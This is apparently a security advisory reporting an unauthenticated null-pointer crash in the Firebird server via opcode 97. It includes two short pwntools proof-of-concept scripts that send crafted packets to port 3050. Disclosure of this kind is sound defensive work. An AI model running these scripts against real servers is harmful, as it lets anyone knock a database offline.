Summary

When trying to send the opcode op_crypt_key_callback = 97 to the server, it crashes due to dereference of the null pointer.

Details

The problem lies in the fact that the request can be sent without authorization, which is why when port_server_crypt_callback is not initialized, a crash occurs when trying to process the request.

PoC

I'm attaching two scripts to trigger two possible cases.

from pwn import *

p = remote('localhost', 3050)
op0x50 = struct.pack(">I", 0x61)
p.send(op0x50)
p.close()

A full-fledged request:

from pwn import *

p = remote('localhost', 3050)
op0x50 = struct.pack(">II5sBBBI", 0x61, 5, b'Aboba', 0, 0, 0, 123)
p.send(op0x50)
p.close()

Impact

The Firebird server is vulnerable because anyone who knows only the IP and port can easily take it down.